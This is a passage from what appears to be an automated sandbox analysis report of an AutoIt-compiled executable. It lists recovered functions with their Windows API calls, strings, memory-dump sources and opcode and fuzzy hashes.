SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00AF2DE1

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: f6e0d015c52b154959cecd1049cc51a462be4f159ac5dce5eea2398c4cbd5c10
Instruction ID: 2f46e9836b35ac324fa32a868853d6816c9465c7c858949490cb8d35b8a417d7
Opcode Fuzzy Hash: f6e0d015c52b154959cecd1049cc51a462be4f159ac5dce5eea2398c4cbd5c10
Instruction Fuzzy Hash: 40316B72201618BBEB118F91CD8AFFB3BA9EF09725F044055FE08DA291C6759C51CBA4

Function 00AC5622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00AC5637
_memcmp.LIBVCRUNTIME ref: 00AC5659
_memcmp.LIBVCRUNTIME ref: 00AC5671
_memcmp.LIBVCRUNTIME ref: 00AC5684
_memcmp.LIBVCRUNTIME ref: 00AC569E
_memcmp.LIBVCRUNTIME ref: 00AC56B1
_memcmp.LIBVCRUNTIME ref: 00AC56C9
_memcmp.LIBVCRUNTIME ref: 00AC56E4

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 5a41b558491564930436a3443f63ee87e181357de916687b530cca8ef43bfef4
Instruction ID: dd418ac82d1fc40226d2dc196f101e24dcc17972d8318f5238c5c2fbb07c43af
Opcode Fuzzy Hash: 5a41b558491564930436a3443f63ee87e181357de916687b530cca8ef43bfef4
Instruction Fuzzy Hash: B321A771E40A197BD614A6318E82FBA335CFF21384F490428FE049E581FB21FD9282A9

Function 00AE4FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00AE5007
NULL Pointer assignment, xrefs: 00AE502E, 00AE5383

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 51571380d6f5cd5f1ab359c8071116e0b7bcb7a67aa2f7640b74131ff8d13103
Instruction ID: f22627fe173b9db778488b33145abc43deefa1e4ea282ecfd3daab344124d874
Opcode Fuzzy Hash: 51571380d6f5cd5f1ab359c8071116e0b7bcb7a67aa2f7640b74131ff8d13103
Instruction Fuzzy Hash: F1D10371E0064AAFDF10CFA9D880FAEB7B5BF48348F148169E915AB281E370DD41CB90

Function 00AA1522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,00AA17FB,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 00AA15CE
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00AA17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00AA1651
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00AA17FB,?,00AA17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00AA16E4
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00AA17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00AA16FB

Part of subcall function 00A93820: RtlAllocateHeap.NTDLL(00000000,?,00B31444,?,00A7FDF5,?,?,00A6A976,00000010,00B31440,00A613FC,?,00A613C6,?,00A61129), ref: 00A93852

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,00AA17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00AA1777
__freea.LIBCMT ref: 00AA17A2
__freea.LIBCMT ref: 00AA17AE

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: 0deb1882c196499c2bfe473a42852a06fc7229ce110c209e91ef0dbe5027b62b
Instruction ID: 9e0ceb9b2616b95ddb0b5b5014961ac597fe149a6cda3f4beafd9f3151e6f957
Opcode Fuzzy Hash: 0deb1882c196499c2bfe473a42852a06fc7229ce110c209e91ef0dbe5027b62b
Instruction Fuzzy Hash: 62919272E00216BADF259FA4C981EEEBBF59F4A710F184659E802E71C1EB35DD41CB60

Function 00AE4523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00AE4648
VariantInit.OLEAUT32(?), ref: 00AE4749
VariantClear.OLEAUT32(?), ref: 00AE4753
VariantClear.OLEAUT32(?), ref: 00AE47B0

Strings

Null Object assignment in FOR..IN loop, xrefs: 00AE45D8, 00AE4706, 00AE47BE
Incorrect Object type in FOR..IN loop, xrefs: 00AE472C

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: 709bfcac3ac9386c7d0bfc21c164db9345bbf79975a90994698e1947364f9e60
Instruction ID: d818940bd6670d1cc4f3bedc275ddcdb55b6a2cc74978ea0e2fca82f47f60d4d
Opcode Fuzzy Hash: 709bfcac3ac9386c7d0bfc21c164db9345bbf79975a90994698e1947364f9e60
Instruction Fuzzy Hash: 13917071A00259AFDF20CFA6D848FAEBBBCEF4A715F108559F505AB280D7709945CFA0

Function 00AD1187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 00AD125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00AD1284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 00AD12A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00AD12D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00AD135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00AD13C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00AD1430

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: 0f24225026d54f0b0e8d098d636a16081386a3df5727f7d674bdaf2221908d80
Instruction ID: 2cd327d90aebae3ddac9f0c449dae288cdcdb71a9dd232d2ac50fcb4c7338e62
Opcode Fuzzy Hash: 0f24225026d54f0b0e8d098d636a16081386a3df5727f7d674bdaf2221908d80
Instruction Fuzzy Hash: 9591D2B5A00208AFDB00DF98C884BFEB7B5FF45725F10442AE912EB391D775A941CB90

Function 00A7948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: b8aaef6ee87b6e87da27ff61e4310d8ce2181ac353738d4d6f4a2b4364839ccd
Instruction ID: ed86776b2b7ad15a6912babe9139210514b004203f4b5a7db44eecd689771354
Opcode Fuzzy Hash: b8aaef6ee87b6e87da27ff61e4310d8ce2181ac353738d4d6f4a2b4364839ccd
Instruction Fuzzy Hash: 5E912771D40219EFCB10CFA9CD84AEEBBB8FF89320F148556E519B7251D774A942CB60

Function 00AE3947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00AE396B
CharUpperBuffW.USER32(?,?), ref: 00AE3A7A
_wcslen.LIBCMT ref: 00AE3A8A
VariantClear.OLEAUT32(?), ref: 00AE3C1F

Part of subcall function 00AD0CDF: VariantInit.OLEAUT32(00000000), ref: 00AD0D1F
Part of subcall function 00AD0CDF: VariantCopy.OLEAUT32(?,?), ref: 00AD0D28
Part of subcall function 00AD0CDF: VariantClear.OLEAUT32(?), ref: 00AD0D34

Strings

Incorrect Parameter format, xrefs: 00AE39A6, 00AE3BA1
AUTOIT.ERROR, xrefs: 00AE3A80, 00AE3A85

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: f94eab05540040e8ac25b863bec3437f788c5fa79668738b6b67869247f4a36a
Instruction ID: c7fdfa4114ae5bb2f15bb0bd3a301f1e292f6afd7b6388f7e81393a7b5477586
Opcode Fuzzy Hash: f94eab05540040e8ac25b863bec3437f788c5fa79668738b6b67869247f4a36a
Instruction Fuzzy Hash: 009155756083459FCB00EF29C58496AB7F4BF88314F14886EF88A9B351DB31EE45CB92

Function 00AE4BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 00AC000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00ABFF41,80070057,?,?,?,00AC035E), ref: 00AC002B
Part of subcall function 00AC000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00ABFF41,80070057,?,?), ref: 00AC0046
Part of subcall function 00AC000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00ABFF41,80070057,?,?), ref: 00AC0054
Part of subcall function 00AC000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00ABFF41,80070057,?), ref: 00AC0064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00AE4C51
_wcslen.LIBCMT ref: 00AE4D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00AE4DCF
CoTaskMemFree.OLE32(?), ref: 00AE4DDA

Strings

NULL Pointer assignment, xrefs: 00AE4E23, 00AE4E52

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: 0441bd31074c30c21736e8cd3633edf5168c6d0111bb96b03107a9fe5aeb1099
Instruction ID: e74cd04cda2f549df8b824f0c1702bad10630df5d60ce033377a4b13c83adcb5
Opcode Fuzzy Hash: 0441bd31074c30c21736e8cd3633edf5168c6d0111bb96b03107a9fe5aeb1099
Instruction Fuzzy Hash: 10910571D0025DAFDF14DFA5C991AEEB7B8BF08310F10816AE919B7251EB709A45CFA0

Function 00AF20FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00AF2183
GetMenuItemCount.USER32(00000000), ref: 00AF21B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00AF21DD
_wcslen.LIBCMT ref: 00AF2213
GetMenuItemID.USER32(?,?), ref: 00AF224D
GetSubMenu.USER32(?,?), ref: 00AF225B

Part of subcall function 00AC3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00AC3A57
Part of subcall function 00AC3A3D: GetCurrentThreadId.KERNEL32 ref: 00AC3A5E
Part of subcall function 00AC3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00AC25B3), ref: 00AC3A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00AF22E3

Part of subcall function 00ACE97B: Sleep.KERNEL32 ref: 00ACE9F3

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: ea4c4978c53869bd8df286d7fb02b4e4865a473169ec9aadae16e8ac16d9ab43
Instruction ID: 85a5d8b222cf3af3e697c892eb9d9d98704e4b2c311b07f21ca7d42a5849dec0
Opcode Fuzzy Hash: ea4c4978c53869bd8df286d7fb02b4e4865a473169ec9aadae16e8ac16d9ab43
Instruction Fuzzy Hash: 25715D75A00209AFCB10EFA5C945BBEB7B5EF48320F148459F956EB351DB34AE41CB90

Function 00AF7E9E Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(01295400), ref: 00AF7F37
IsWindowEnabled.USER32(01295400), ref: 00AF7F43
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00AF801E
SendMessageW.USER32(01295400,000000B0,?,?), ref: 00AF8051
IsDlgButtonChecked.USER32(?,?), ref: 00AF8089
GetWindowLongW.USER32(01295400,000000EC), ref: 00AF80AB
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00AF80C3

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: b1fc982988f388540a43fe88fa83a07b06cd8c0a23aec19eaf4d52b0dafda4ad
Instruction ID: af0e3989eb5cc6c15ddc3c17882b4b97aee8cc904bc8c140bd28594423286cc1
Opcode Fuzzy Hash: b1fc982988f388540a43fe88fa83a07b06cd8c0a23aec19eaf4d52b0dafda4ad
Instruction Fuzzy Hash: D6716934608209AFEB21DFE4C984FFEBBB9EF09310F144559FA45972A1CB35A845DB20

Function 00ACAEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00ACAEF9
GetKeyboardState.USER32(?), ref: 00ACAF0E
SetKeyboardState.USER32(?), ref: 00ACAF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 00ACAF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 00ACAFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 00ACAFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00ACB020

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 538966e3546781b54948154ef4d083f7767bab947322f7c1edd0825740846827
Instruction ID: 4cd291e4525a667534a484607d590957c8318bb9c0872dc199f358773431be72
Opcode Fuzzy Hash: 538966e3546781b54948154ef4d083f7767bab947322f7c1edd0825740846827
Instruction Fuzzy Hash: 0051B4A06147D93DFB3693348C46FBA7EE95B06308F09858DE1E5954C3C3A9ACC4D7A2

Function 00ACACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00ACAD19
GetKeyboardState.USER32(?), ref: 00ACAD2E
SetKeyboardState.USER32(?), ref: 00ACAD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00ACADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00ACADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00ACAE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00ACAE38

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: a5f8bbf36e9fb31baa41f81b8311d092c167db5247145f6ee77aa0f8044ebb8b
Instruction ID: 1396518a7b02a5d2d3866c0c513895fa32df572e361282c4eecd325fcc0ac787
Opcode Fuzzy Hash: a5f8bbf36e9fb31baa41f81b8311d092c167db5247145f6ee77aa0f8044ebb8b
Instruction Fuzzy Hash: C85108A16087E93DFB3383748C45FBA7EA85B55308F09848CE1D6968C3D394EC84D7A2

Function 00A9542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00AA3CD6,?,?,?,?,?,?,?,?,00A95BA3,?,?,00AA3CD6,?,?), ref: 00A95470
__fassign.LIBCMT ref: 00A954EB
__fassign.LIBCMT ref: 00A95506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00AA3CD6,00000005,00000000,00000000), ref: 00A9552C
WriteFile.KERNEL32(?,00AA3CD6,00000000,00A95BA3,00000000,?,?,?,?,?,?,?,?,?,00A95BA3,?), ref: 00A9554B
WriteFile.KERNEL32(?,?,00000001,00A95BA3,00000000,?,?,?,?,?,?,?,?,?,00A95BA3,?), ref: 00A95584

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 1cd4473e5a0e3f400c0c7c8da519c540f39ebebcccc1e2de5c6944736d273d89
Instruction ID: 23cb0cade102f39bea666cddf28f8a49a24c2e90559f19065d77df4863534a62
Opcode Fuzzy Hash: 1cd4473e5a0e3f400c0c7c8da519c540f39ebebcccc1e2de5c6944736d273d89
Instruction Fuzzy Hash: 6451A071E006499FDF11CFB8D886AEEBBF9EF09310F15411AE955E7292D630AA41CB60

Function 00A82D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00A82D4B
___except_validate_context_record.LIBVCRUNTIME ref: 00A82D53
_ValidateLocalCookies.LIBCMT ref: 00A82DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 00A82E0C
_ValidateLocalCookies.LIBCMT ref: 00A82E61

Strings

csm, xrefs: 00A82DF6

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 820a2d1a8f35b24985264a6adf7fb2f97d4ed56f5b142f08487184dabcad0fb2
Instruction ID: 572586017095165f2e6e70019413f4a4b2e2275f5f15a421f7cee20a88fa87e7
Opcode Fuzzy Hash: 820a2d1a8f35b24985264a6adf7fb2f97d4ed56f5b142f08487184dabcad0fb2
Instruction Fuzzy Hash: 5E418E35A00209ABCF10FF68C845BAEBFF5BF45324F148155E815AB392D775AA15CBD0

Function 00AE10B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00AE307A
Part of subcall function 00AE304E: _wcslen.LIBCMT ref: 00AE309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00AE1112
WSAGetLastError.WSOCK32 ref: 00AE1121
WSAGetLastError.WSOCK32 ref: 00AE11C9
closesocket.WSOCK32(00000000), ref: 00AE11F9

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

